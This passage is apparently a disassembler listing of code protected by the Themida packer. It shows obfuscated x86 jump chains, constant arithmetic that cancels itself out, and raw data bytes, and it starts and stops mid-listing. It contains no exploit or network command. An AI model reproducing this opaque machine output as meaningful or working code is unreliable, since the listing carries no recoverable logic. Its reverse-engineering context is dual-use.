52284FB9h, 0FFC2E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D2BA: ; CODE XREF: Themida_:0050FAF4j sub bl, al jmp loc_514386 ; --------------------------------------------------------------------------- db 5Ah, 33h, 1Ch dd 241C3124h, 8B241C33h, 0CD32424h, 0EE99C24h, 29FFFEE3h dd 1C8B5FF8h, 110BE924h, 30AC0000h, 0E95166D8h, 0FFFFC7DEh dd 4BB53h, 15E90000h, 89FFFF2Ch, 405E0h, 0BB530000h, 4 dd 875BD829h, 895C2404h, 0BB22414h, 0D02897B0h, 0FFF293E9h dd 4C581FFh, 68000000h, 0EDAh, 0E9241489h, 0FFFEF71Ch dd 0E92434FFh, 0FFFEF23Dh, 0FFFFC781h, 74E9FFFFh, 81FFFF06h dd 0B33CB0EDh, 24348B55h, 4C481h, 0F5290000h, 0FFC394E9h dd 0E9F731FFh, 2B6Ah ; --------------------------------------------------------------------------- loc_51D35C: ; CODE XREF: Themida_:00513131j push ecx mov ecx, 6BDA7A99h add [esp+8], ecx jmp loc_511C57 ; --------------------------------------------------------------------------- loc_51D36B: ; CODE XREF: Themida_:0051DA24j xor esi, 41CB62Ch sub ebx, esi jmp loc_51A787 ; --------------------------------------------------------------------------- dd 503685Bh, 34890000h, 37C86824h, 0E4E90000h, 89FFFF1Ch dd 0E2892414h, 4C281h, 0C2810000h, 4, 0FEF1FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_51D3A1: ; CODE XREF: Themida_:005154B7j or edx, 0D2E4BABh jmp loc_510E0A ; --------------------------------------------------------------------------- loc_51D3AC: ; CODE XREF: Themida_:00518469j pop edi xchg ecx, [esp] mov esp, [esp] pop edi jmp loc_50BFD5 ; --------------------------------------------------------------------------- loc_51D3B9: ; CODE XREF: Themida_:00517A2Cj sub edi, 4 xchg edi, [esp] jmp loc_5202ED ; --------------------------------------------------------------------------- db 0BEh dd 472A23CFh, 8244481h, 3EE6333Eh, 8246C81h, 242331DBh dd 0FFDCD8E9h, 5EF701FFh, 0A990E952h, 487FFFFh, 0E7E95824h dd 81000006h, 87ECDE6h, 0B5CE815Dh, 8164EF44h, 83DA59C6h dd 0E9F729C8h, 0FFFF56DAh ; --------------------------------------------------------------------------- loc_51D40C: ; CODE XREF: Themida_:00520E8Bj push edi jmp loc_515D8B ; --------------------------------------------------------------------------- dw 0F331h dd 0FFBD36E9h, 58B353FFh, 1EDEE9h, 5CBA6600h, 6C81665Dh dd 37FC0424h, 24540166h, 3B88E904h, 0EE810000h, 3402241Dh dd 0C681C601h, 3402241Dh, 0FEE91DE9h db 0FFh ; --------------------------------------------------------------------------- loc_51D449: ; CODE XREF: Themida_:005106D4j push edi mov edi, 4 add esi, 701E1A6Fh add esi, edi sub esi, 701E1A6Fh jmp loc_51C17A ; --------------------------------------------------------------------------- dw 0EB81h dd 6439173Dh, 1F77E95Eh, 8B660000h, 0AD682414h, 89000069h dd 0E6892434h, 3B9E9h, 2849B200h, 69685AD0h, 8900001Fh dd 71E9241Ch, 2CFFFF73h, 455DE9C4h, 0C700FFFFh, 80DBC780h dd 805806C7h, 0E9509BF7h, 0FFFEFD7Ch ; --------------------------------------------------------------------------- loc_51D4AC: ; CODE XREF: Themida_:005142D9j add ebx, 4 jmp loc_516FAE ; --------------------------------------------------------------------------- loc_51D4B7: ; CODE XREF: Themida_:0051F233j add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] xor dl, ch xor ch, dl xor dl, ch jmp loc_51A443 ; --------------------------------------------------------------------------- db 52h dd 0FF83D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D4D1: ; CODE XREF: Themida_:00514C21j pop edi push edx push dword ptr [esp+4] jmp loc_5150F0 ; --------------------------------------------------------------------------- loc_51D4DC: ; CODE XREF: Themida_:00520A0Ej mov dh, 0E0h add bl, dh pop dx add bl, 70h sub bl, 85h sub bl, 7Ah jmp loc_516077 ; --------------------------------------------------------------------------- loc_51D4F0: ; CODE XREF: Themida_:00516CFAj push dword ptr [esp] pop eax jmp loc_50CF69 ; --------------------------------------------------------------------------- db 83h, 0C2h, 1 dd 1CEAE281h, 0F281780Ch, 151D5B55h, 148BD189h, 61756824h dd 0C890000h, 81E18924h, 4C1h, 4C18300h, 2474FF51h, 48F5904h dd 5298E924h, 535AFFFFh, 0FF7C1BE9h, 4C481FFh, 66000000h dd 0C2B151h, 8752E9C8h, 8F66FFFFh, 0E097E902h, 0ED81FFFEh dd 5FB32BEh, 2F59C681h, 0BD55159Dh, 408B18CAh, 0CD81454Dh dd 4EED488Bh, 0E1E9DDF7h db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D56F: ; CODE XREF: Themida_:0051CA9Fj pop ebp or edx, 4D4E7C24h and edx, 1B5D7493h shl edx, 3 add edx, 0C34F8119h sub esi, edx pop edx sub ebx, esi pop esi xor edx, ebx pop ebx add eax, edx mov edx, [esp] jmp loc_51878D ; --------------------------------------------------------------------------- dd 240C8B66h, 0E9E08950h, 0FFFFBC81h, 243C895Ch, 3DE9E789h dd 80FFFFFDh, 0C30034C3h, 2EC81h, 89660000h, 0B5512414h dd 59EA8834h, 28B7C380h, 0B7EB80D3h, 24148B66h, 2C481h dd 0B6520000h, 11EE8059h, 0FF8846E9h, 0D830ACFFh, 0EA62E953h dd 0C130FFFEh, 8BC80058h, 8951240Ch, 4C181E1h, 83000000h dd 0C8704C1h, 0B2525C24h, 0E9722C7Bh, 0FFFFAFDBh, 5259C821h dd 0F3CFE956h, 0C381FFFEh, 1A971544h, 0FF8590E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D621: ; CODE XREF: Themida_:0051CCDBj pop esi and ebp, edx pop edx sub ebp, 0F8A5F352h jmp loc_51E2F7 ; --------------------------------------------------------------------------- dd 2E4BBD55h, 0EDC1296Fh, 0BA524504h, 4B41015Bh, 0E95AD521h dd 1450h ; --------------------------------------------------------------------------- loc_51D648: ; CODE XREF: Themida_:00519A81j xor ecx, 0DF65967Fh mov ebp, ecx pop ecx inc ebp sub ebp, 21B10603h xor ebp, 63906AEFh sub eax, ebp pop ebp sub eax, ebx add eax, 4345277Fh add eax, 78EB2FAFh jmp loc_50B922 ; --------------------------------------------------------------------------- dw 0FF54h dd 34FF2434h, 0B30DE924h, 0B850FFFFh, 1DD727F9h, 48BC201h dd 4C48124h, 68000000h, 0 dd 0FFB825E9h db 0FFh ; --------------------------------------------------------------------------- loc_51D699: ; CODE XREF: Themida_:0051E434j add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 push edi mov edi, 66A644F0h xor edi, 363B3337h jmp loc_516E1D ; --------------------------------------------------------------------------- db 68h dd 3D11h, 89240C89h, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 27BCE95Ch, 0F1810000h, 9AE45E93h, 0DBE9CF29h, 5DFFFFBAh dd 4C581h, 0B8500000h, 320C0974h, 2859BE56h, 0D14E6321h dd 0FCF681E6h, 29B37C58h, 0BCE95EF0h, 5500002Ch, 0FF0EA2E9h dd 4AE958FFh, 0ACFFFF7Fh, 4EC81h, 14890000h, 0E64FE924h dd 0C89FFFFh, 3FA2E924h, 5457FFFFh, 0E9243C8Bh, 0FFFFAAB9h dd 8A50E956h, 0F381FFFFh, 0C9F0CF7h, 4D65C181h, 84E976EBh dd 52FFFFEBh, 0C281E289h, 4, 4C281h, 14870000h, 6BB9E924h dd 0C521FFFFh, 0E257E958h, 815FFFFEh, 0B204246Ch, 0E9648679h dd 0FFFF2EA3h, 0E9242C89h, 0FFFF7DD8h, 0E9C2E980h, 0FFFEFBB7h ; --------------------------------------------------------------------------- loc_51D78C: ; CODE XREF: Themida_:0050F940j add ebp, 4 xchg ebp, [esp] jmp loc_5187D4 ; --------------------------------------------------------------------------- loc_51D797: ; CODE XREF: Themida_:00513272j sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push 3BF0h mov [esp], eax mov eax, 11FE23FEh jmp loc_51EFF6 ; --------------------------------------------------------------------------- loc_51D7C3: ; CODE XREF: Themida_:005157DDj add edx, 240339A7h jmp loc_5124CA ; --------------------------------------------------------------------------- loc_51D7CE: ; CODE XREF: Themida_:0051AC4Aj pop esi sub esp, 4 mov [esp], ecx mov ecx, 6D84E5Dh shl ecx, 6 jmp loc_51896A ; --------------------------------------------------------------------------- loc_51D7E5: ; CODE XREF: Themida_:005116E8j push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_50CBBE ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4BF57h, 0FB290000h, 96D8E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D806: ; CODE XREF: Themida_:00515867j mov [esp], eax mov eax, 28h push eax sub dword ptr [esp], 5C24662Bh pop edx add edx, 5C24662Bh mov eax, [esp] jmp loc_5207B3 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 7B46E95Ch, 0BA52FFFFh, 4, 2D32E952h, 0BD550000h, 0AF374E9h dd 7D166853h, 3C890000h, 0C690E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D84E: ; CODE XREF: Themida_:00513609j sub esp, 4 mov [esp], ebp mov ebp, 70F77AFBh add ebp, 11503AB9h add ebp, 0D08EA902h add esi, ebp pop ebp push ebp mov ebp, 22CA52EDh xor esi, ebp jmp loc_50DF52 ; --------------------------------------------------------------------------- db 0BAh, 0DDh, 75h dd 6FE94CD0h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D87F: ; CODE XREF: Themida_:0050D84Bj mov ebx, 179A3EC0h jmp loc_51B4A7 ; --------------------------------------------------------------------------- loc_51D889: ; CODE XREF: Themida_:005201BEj pop ebp add edi, 4 jmp loc_51473E ; --------------------------------------------------------------------------- dw 895Eh dd 0DE095AD3h, 33A8E95Bh, 0EC81FFFFh, 4, 0FF240489h, 58042474h dd 5C24048Fh, 24048F54h, 0E7AAE956h, 28FFFFEh, 0FEDD24E9h dd 24048BFFh, 4C481h, 34FF0000h, 6E95E24h, 33000008h, 1C31241Ch dd 241C3324h, 6824248Bh, 30D8h, 53242C89h, 0FF338FE9h db 0FFh ; --------------------------------------------------------------------------- loc_51D8ED: ; CODE XREF: Themida_:0051679Aj mov dl, 2Eh shr dl, 1 dec dl jmp loc_51EC9A ; --------------------------------------------------------------------------- loc_51D8F8: ; CODE XREF: Themida_:0050EF0Aj xchg ecx, [esp] mov esp, [esp] push ebp jmp loc_515F3B ; --------------------------------------------------------------------------- loc_51D904: ; CODE XREF: Themida_:0051AD35j xchg ecx, edi xor edi, 357C1424h add edi, 35124AAFh push edx mov edx, 1CD20341h add edx, 5FA60393h dec edx inc edx xor edx, 2B405F69h sub esi, edx pop edx add esi, 29343F63h add esi, edi push edi mov edi, 3DD32B3Fh add edi, 26EC38DEh shl edi, 4 shr edi, 4 xor edi, 47F5711h push ebp mov ebp, 4324689Fh add ebp, 0E6CFA3D0h xor edi, ebp pop ebp jmp loc_5129C1 ; --------------------------------------------------------------------------- db 25h, 4Ch, 10h dd 83560967h, 3C8904ECh, 62FEBF24h, 9EE96DDBh, 8BFFFFCAh dd 0C4812404h, 4, 884AF180h, 240C8BCEh, 0FF1FAEE9h, 0C8B66FFh dd 30F56824h, 0F2E90000h, 5BFFFF75h, 0FFA53FE9h, 4DE95CFFh dd 66FFFFC3h, 0D83166ADh, 2EC81h, 89660000h, 0E955240Ch dd 0FFFF8206h, 2504E8C1h, 7782EB2h, 87233205h, 58C60106h dd 0FF406BE9h db 0FFh ; --------------------------------------------------------------------------- loc_51D9CD: ; CODE XREF: Themida_:00516FA9j pop esi xchg ebp, [esp] pop esp push edx mov edx, esp push 4092h mov [esp], edi mov edi, 4 add edx, edi jmp loc_51BACF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 53241C8Bh, 12E9E389h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51D9F7: ; CODE XREF: Themida_:0050B92Aj add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, 694E759Bh shr esi, 5 shr esi, 5 shl esi, 5 shl esi, 8 sub esi, 0FFFFFFFFh jmp loc_51D36B ; --------------------------------------------------------------------------- loc_51DA29: ; CODE XREF: Themida_:0051C611j sub ecx, 7AEC7A48h dec ecx xor ecx, 715104F5h shr ecx, 8 jmp loc_51A2F9 ; --------------------------------------------------------------------------- dw 87B8h dd 81A534C0h, 194F7DEEh, 81C62919h, 194F7DC6h, 24048B19h dd 104C483h, 0B8505EF7h, 0D0D7DF4Ch, 34FFC731h, 24048B24h dd 0FF872DE9h, 242C89FFh, 460D42BDh, 8BEF212Dh, 0C481242Ch dd 4, 1F83E781h, 0C781687Ch, 0DEF3F99Bh, 5AE9F801h, 58FFFFDAh dd 0F7E38159h, 4B1F461Eh, 0C0EEB81h, 0B9511F04h, 711F727Eh dd 7049C981h, 0BB5328BBh, 434876ABh, 15BD931h, 0EC8159CAh dd 4, 0B8240489h, 176D1640h, 5003E8C1h, 2474FF50h, 48F5804h dd 4149E924h, 0FF05FFFFh, 35FFFFFFh, 0AAD671F1h, 64E9C201h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DAEB: ; CODE XREF: Themida_:0051C218j add esp, 4 add esp, 4 add esi, 69C9248Ch sub esi, 36F039FCh sub esi, 5DA6185Fh add esi, edi add esi, 5DA6185Fh push 1F1Eh jmp loc_511EB1 ; --------------------------------------------------------------------------- db 55h dd 42474FFh, 50242C8Bh, 405E089h, 5000000h, 4, 5C240487h dd 8B24048Fh, 0E1E92424h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51DB3F: ; CODE XREF: Themida_:0050C6DFj mov ebx, esp add ebx, 4 add ebx, 4 push ebx jmp loc_514E4D ; --------------------------------------------------------------------------- dd 0CAB45066h, 5866E730h, 6803E7C0h, 22A2h, 0B1240C89h dd 6F04E925h, 9CBFFFFFh, 0E9149225h, 0FFFEF19Bh, 42474FFh dd 24048F5Ah, 243C895Ch, 4322B850h, 0BE052937h, 0E91FDB67h dd 0FFFFD85Dh, 4EC835Ch, 81240489h, 65E8242Ch, 34FF6743h dd 54565824h, 0A306E95Eh, 0C381FFFFh, 0C40C563Dh, 0E95BD901h dd 0FFFFBECEh ; --------------------------------------------------------------------------- loc_51DBB8: ; CODE XREF: Themida_:00519508j add ecx, edx jmp loc_51037C ; --------------------------------------------------------------------------- loc_51DBBF: ; CODE XREF: Themida_:0051AE70j jmp loc_50B5E5 ; --------------------------------------------------------------------------- loc_51DBC4: ; CODE XREF: Themida_:00520F9Dj mov esp, [esp] mov [esp], esi push 3C0C20F7h jmp loc_51C307 ; --------------------------------------------------------------------------- dd 4055854h, 83000000h, 0D1E904C0h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DBE3: ; CODE XREF: Themida_:005140C2j sub edi, eax pop eax jmp loc_51DDA2 ; --------------------------------------------------------------------------- loc_51DBEB: ; CODE XREF: Themida_:0050D72Ej xchg ebx, [esp] pop esp mov [esp], eax jmp loc_51935A ; --------------------------------------------------------------------------- loc_51DBF7: ; CODE XREF: Themida_:0050F2BBj add edi, 4 xchg edi, [esp] pop esp or eax, eax jz loc_514EFE push edx jmp loc_50D88E ; --------------------------------------------------------------------------- loc_51DC0F: ; CODE XREF: Themida_:005166B2j or dl, 0FCh sub dl, 0E2h add bl, dl mov edx, [esp] add esp, 4 movzx eax, al jmp loc_51A78D ; --------------------------------------------------------------------------- loc_51DC28: ; CODE XREF: Themida_:0051612Aj xchg ebx, [esp] pop esp jmp loc_51FA3D ; --------------------------------------------------------------------------- db 0Fh, 0AFh, 0C8h dd 0FF2E47E9h, 0D3C381FFh, 8145B201h, 3D167CC3h, 29EB8179h dd 0E9172330h, 0CE7h, 4C381h, 0EB810000h, 4, 5C241C87h dd 0B6241489h, 0E38953AAh, 4C381h, 0EB810000h, 2, 5C241C87h dd 24148966h, 52536BB2h, 0D388C3B2h, 5BD8285Ah, 0CEE9D028h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DC8F: ; CODE XREF: Themida_:0051134Aj mov [esp], esi jmp loc_50F48B ; --------------------------------------------------------------------------- db 52h dd 9A65E95Bh, 0F66FFFFh, 686602B6h, 89667B4Fh, 36E92404h dd 1FFFED9h, 0BBA52D8h, 297EFB49h, 50555AD0h, 56F4E953h dd 34FFFFFFh, 240C8B24h, 0FF1996E9h, 24348BFFh, 4C481h dd 88E90000h, 29FFFFC9h, 4ACAE9EAh, 3C89FFFFh, 4A5AE924h dd 0EF81FFFFh, 12401383h, 0FF2FEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_51DCF5: ; CODE XREF: Themida_:0051A9C2j mov eax, 6FA81109h xor [esp+4], eax jmp loc_51DF17 ; --------------------------------------------------------------------------- db 83h dd 0C48304C4h, 0DCB3E904h, 8F66FFFFh, 31662404h, 0CE3166F1h dd 0FFE747E9h, 0D8C3E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51DD22: ; CODE XREF: Themida_:0050B7DAj mov ebx, 9BA5CA46h add ecx, 25F8760Fh jmp loc_513A16 ; --------------------------------------------------------------------------- dw 0B6BBh dd 0E9331853h, 132Ch ; --------------------------------------------------------------------------- loc_51DD3C: ; CODE XREF: Themida_:0051F005j mov ebx, 82009BFBh xor eax, ebx pop ebx add edi, 33A8551Fh add edi, eax jmp loc_51A9DC ; --------------------------------------------------------------------------- loc_51DD51: ; CODE XREF: Themida_:00514819j sub dword ptr [esp+8], 7B4024ECh jmp loc_51F675 ; --------------------------------------------------------------------------- loc_51DD5E: ; CODE XREF: Themida_:0051BBA5j xor esi, ebp jmp loc_514869 ; --------------------------------------------------------------------------- db 81h, 0C7h, 1Ah dd 813E897Fh, 8D6F7BEFh, 0A864E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DD76: ; CODE XREF: Themida_:0050EEBEj xchg eax, [esp] pop esp mov [esp], edx push dword ptr [esp+4] jmp loc_50EB19 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 7FE90000h, 81FFFF3Eh, 4EEh, 24348700h, 6E84E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51DDA2: ; CODE XREF: Themida_:0051DBE6j add ebp, edi pop edi push esi push ebp mov ebp, 4DBF0FACh jmp loc_51D0EB ; --------------------------------------------------------------------------- loc_51DDB1: ; CODE XREF: Themida_:0051280Fj mov eax, [esp] add esp, 4 add edi, 4CB11D7Fh add ebx, 4DC37BE4h add ebx, edi sub ebx, 4DC37BE4h mov edi, [esp] add esp, 4 sub ebx, 1 push ebx not dword ptr [esp] jmp loc_514607 ; --------------------------------------------------------------------------- dw 6CB2h dd 8008E2C0h, 0D388B8F2h, 0E924148Bh, 0FFFFBFF7h, 95EE815Ah dd 0BB1A1349h, 2945B07h, 0BF57h, 0E9550000h, 0FFFF48BEh dd 0EC81E589h, 4, 0BE243489h, 4, 4714B850h, 0C5810B88h dd 213D6411h, 0ED81C501h, 213D6411h, 53F50158h, 0C570F1BBh dd 23C38161h, 29A9C2D6h, 0E8BE9DDh, 0A368FFFFh, 8900001Ah dd 92E9243Ch, 89FFFF0Dh, 0F28BE9E2h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51DE5E: ; CODE XREF: Themida_:00517640j add edx, 0FDDB4315h sub ecx, edx pop edx jmp loc_515F6C ; --------------------------------------------------------------------------- dd 0FED774E9h, 11F781FFh, 8900B208h, 0BBB85FF9h, 31E5DAF0h dd 0F80159C8h, 1C47215Fh, 0FF2434FFh, 56582434h, 0C681E689h dd 4, 4C681h, 34870000h, 24248B24h, 0FF307AE9h, 5FF829FFh dd 1F48C381h, 0C3296E20h, 1F48EB81h, 44E96E20h, 0F7FFFEF2h dd 3BF681D6h, 8178143Dh, 0F51A8EEAh, 81F2017Fh, 0F51A8EC2h dd 14335E7Fh, 24143124h, 0FF200DE9h, 4EC81FFh, 89000000h dd 89B22414h, 8001C280h, 0C280C1EAh, 7E28034h, 6605E2C0h dd 5B5EE953h, 74FFFFFFh, 8F5F0424h, 248B2404h, 65E80524h dd 0CEE96743h db 0D6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51DF17: ; CODE XREF: Themida_:0051DCFEj pop eax push dword ptr [esp] pop eax add esp, 4 push 7FC8h mov [esp], ecx push 199Bh mov [esp], ebp push ebx mov ebx, 5E6C57E5h jmp loc_51F87C ; --------------------------------------------------------------------------- loc_51DF3D: ; CODE XREF: Themida_:005168AEj add esp, 4 jmp loc_51C54E ; --------------------------------------------------------------------------- loc_51DF45: ; CODE XREF: Themida_:00516E2Ej add ebp, edi mov edi, [esp] add esp, 4 jmp loc_5205D4 ; --------------------------------------------------------------------------- loc_51DF55: ; CODE XREF: Themida_:0050B707j push esi mov esi, 4 add edx, esi pop esi push ebp jmp loc_51CEDA ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 4EB81h, 80E90000h, 58FFFF11h, 30C2EB80h dd 0E9505BD8h, 0FFFF63D2h, 28C2F380h, 0DA60E9D8h, 3F68FFFFh dd 89000019h, 0FFE92414h, 68FFFFB2h, 4CA97059h, 5E2434FFh dd 0FF468EE9h db 0FFh ; --------------------------------------------------------------------------- loc_51DFA9: ; CODE XREF: Themida_:0051777Fj pop esp push 239Eh mov [esp], edi jmp loc_51983A ; --------------------------------------------------------------------------- db 87h dd 248B2434h, 0E6895624h, 4C681h, 0C6830000h, 1366804h dd 34890000h, 2474FF24h, 0A264E904h, 0EC83FFFFh, 24048904h dd 0BD55E089h, 658773D7h, 16A6E9h, 0EAB95100h, 0BA4CCF79h dd 4CCF79EEh, 8159CA31h, 543C88EFh, 81D70127h, 543C88C7h dd 0D6E95A27h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51E00F: ; CODE XREF: Themida_:0051F877j mov eax, ebp pop ebp dec eax or eax, 6DAF2666h shl eax, 1 sub eax, 1 xor eax, 0DB7E6FDAh mov edi, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_51C670 ; --------------------------------------------------------------------------- loc_51E030: ; CODE XREF: Themida_:0051B4E8j mov edi, 4 add ebp, 67460418h sub ebp, 2B8A4737h add ebp, 7A90784Dh jmp loc_50D23D ; --------------------------------------------------------------------------- dd 10D7685Ah, 34890000h, 0ADBF5724h, 4766CE5Fh, 53C1E781h dd 514F4E7Ah, 0C164CB9h, 0BCE98110h, 29B0E9B4h, 2CE959CFh db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E077: ; CODE XREF: Themida_:0051A86Bj mov edx, 51274388h xor edx, 37601346h add edx, 0FFFFFFFFh and edx, 3577203Ch shl edx, 7 shr edx, 1 add edx, 19393E3Ch mov eax, edx pop edx jmp loc_518276 ; --------------------------------------------------------------------------- db 5Ah, 1, 0D7h dd 638BC781h, 535A4C92h, 0A15E9h, 0CCBF5700h, 4F2C665Ah dd 5E68CF81h, 0BA5266B2h, 0F0A20533h, 0FFE644E9h, 96E95EFFh db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E0CF: ; CODE XREF: Themida_:00513DDAj xor eax, [edx] pop edx pop ebx pop ecx jmp loc_51491F ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 840FC90Bh, 0FFFEF502h, 440368h, 91E9E900h, 0E95CFFFFh dd 0FFFF7ECEh, 535AD520h, 0B450BAB7h, 0F3C480D1h, 0FF7D3FE9h dd 0E9F000FFh, 0FFFEFDFAh, 2C41C281h, 0BD557CA2h, 127FAE23h dd 1278E9h db 0 ; --------------------------------------------------------------------------- loc_51E11D: ; CODE XREF: Themida_:00518D46j sub ecx, 36BB2B78h sub ecx, ebx add ecx, 36BB2B78h pop ebx pop eax sub ecx, 4 xchg ecx, [esp] jmp loc_50D896 ; --------------------------------------------------------------------------- db 87h dd 87D1F7CEh, 0BFF681CEh, 68F37978h, 380Ah, 0BD242C89h dd 1AF427FFh, 0E5C1DDF7h, 28996804h, 0F7E90000h, 68FFFF2Fh dd 2D5Ah, 0FF1230E9h, 4C481FFh, 0E9000000h, 0FFFFDC8Ah ; --------------------------------------------------------------------------- loc_51E178: ; CODE XREF: Themida_:005166A1j pop esp loc_51E179: ; CODE XREF: Themida_:0051762Ej push 6A53h jmp loc_51E221 ; --------------------------------------------------------------------------- db 81h dd 25496BC2h, 36BE566Eh, 291C7460h, 9171E9F2h, 85BBFFFFh dd 0E92ACE2Fh, 0FFFFA3D7h ; --------------------------------------------------------------------------- loc_51E1A0: ; CODE XREF: Themida_:0052052Ej mov ecx, [esp] push esi mov esi, esp add esi, 4 jmp loc_50B9AA ; --------------------------------------------------------------------------- loc_51E1B1: ; CODE XREF: Themida_:00519A76j push ebx mov ebx, 4E352551h xor ebx, 60784E79h shl ebx, 3 xor ebx, 726B5944h add esi, ebx pop ebx push ecx mov ecx, esp add ecx, 4 jmp loc_51AC5D ; --------------------------------------------------------------------------- db 80h dd 0C7FE37F7h, 0C0EDB050h, 550407E8h, 8006EF80h, 0ABE9DBEFh dd 8BFFFFF2h, 0CBE92424h, 57000002h, 0E16FE3BFh, 26E78128h dd 0E949B942h, 0FFFFCBF0h, 0FED3D8E9h, 24048FFFh, 4EC815Ch dd 89000000h, 5F54243Ch, 0FF32D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_51E221: ; CODE XREF: Themida_:0051E17Ej mov [esp], ebx push dword ptr [esp] pop eax push 41D4h mov [esp], esi push 6F57h push esp pop dword ptr [esp] push 6191h mov [esp], edx mov edx, 68F96480h jmp loc_51C127 ; --------------------------------------------------------------------------- loc_51E24B: ; CODE XREF: Themida_:0051557Dj mov edx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_515DB6 ; --------------------------------------------------------------------------- dd 83240C8Ah, 19E904C4h, 80FFFFF5h, 0E6C044E6h, 8DAFE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E276: ; CODE XREF: Themida_:005103CFj push edi jmp loc_51AD29 ; --------------------------------------------------------------------------- dd 924B83B8h, 585B507Eh, 24048153h, 2BD5D7Dh, 7DED815Dh dd 0E902BD5Dh, 0FFFF2540h, 3FD0BB53h, 5053718Ch, 0D0F7585Bh dd 0F8E94B93h, 81FFFF32h, 6514BBF3h, 7E3C171h, 6808EBC1h dd 2459h, 0FF3B21E9h, 30C281FFh, 949F464h, 24148BD5h, 81E78957h dd 4C7h, 4C78100h, 87000000h, 535C243Ch, 0C403B7BBh, 0CB814347h dd 35E74430h, 1E46C381h, 83E98797h db 1, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E2F7: ; CODE XREF: Themida_:0051D62Bj push edi mov edi, 6CF97A0Dh sub eax, edi pop edi sub eax, ebp add eax, 6CF97A0Dh jmp loc_50E6E1 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4C181h, 0C870000h, 0C7815C24h, 2, 8B243C87h dd 0F7662424h, 0EA768E1h, 14890000h, 4EC8324h, 81E38953h dd 4C3h, 5693E900h, 0C89FFFFh, 0BEB05024h, 14E9D0F6h db 0EAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 193Fh mov [esp], eax jmp loc_514D4B ; --------------------------------------------------------------------------- loc_51E369: ; CODE XREF: Themida_:0051EC19j add esp, 4 push esi jmp loc_510BD5 ; --------------------------------------------------------------------------- loc_51E372: ; CODE XREF: Themida_:0050EFD9j mov [esp], ebx jmp loc_50F455 ; --------------------------------------------------------------------------- dw 0BA52h dd 49BF7B99h, 0FFCCB2E9h, 0C78158FFh, 91D53A0h, 0EF81DF29h dd 91D53A0h, 3B79685Bh, 0BBE90000h, 0AD000025h, 192EE956h dd 0C681FFFFh, 4, 4C681h, 34870000h, 0D1E95C24h, 89FFFEEFh dd 4C181E1h, 83000000h, 1EE904C1h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E3CB: ; CODE XREF: Themida_:0050E502j sub cl, dl pop edx sub dl, cl jmp loc_520A00 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 0A6h dd 89FFFED9h, 0C5E92434h, 87FFFF5Ah, 52D7F7FAh, 0FEE2BEE9h dd 0E38953FFh, 4C381h, 8AE90000h, 80FFFFAFh, 0F58092CDh dd 6E902h, 0CCFEFFFFh, 18E95251h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E40F: ; CODE XREF: Themida_:0051F41Fj add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 7D00h mov [esp], ebp push 40FFh push 7094h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] jmp loc_51D699 ; --------------------------------------------------------------------------- db 0F6h, 0D6h, 0F6h dd 80CEFEDEh, 0EE80B7EEh, 178E9A7h, 8859FFFFh, 24148BF1h dd 2B4DE9h, 4BD00h, 0E9290000h, 240C875Dh, 2434895Ch, 0DBF6850h dd 1CE92AF6h, 34FFFF68h, 97A4E958h, 6AE9FFFFh, 0FFFFFED1h dd 81582434h, 4C4h, 3E3C100h, 0F732EB81h, 0DE09FC9Eh, 5DE9555Bh dd 51FFFF9Fh, 0C181E189h, 4, 8704C183h, 835C240Ch, 84E904C4h dd 33FFFFDBh, 0C3E92414h, 56FFFFDEh, 76C46BEh, 0A8FEE932h dd 1EE9FFFFh db 0D1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51E4C7: ; CODE XREF: Themida_:0050C999j sub ebx, ecx jmp loc_51B161 ; --------------------------------------------------------------------------- loc_51E4CE: ; CODE XREF: Themida_:0050C48Fj xchg ebp, [esp] pop esp jmp loc_51FB63 ; --------------------------------------------------------------------------- loc_51E4D7: 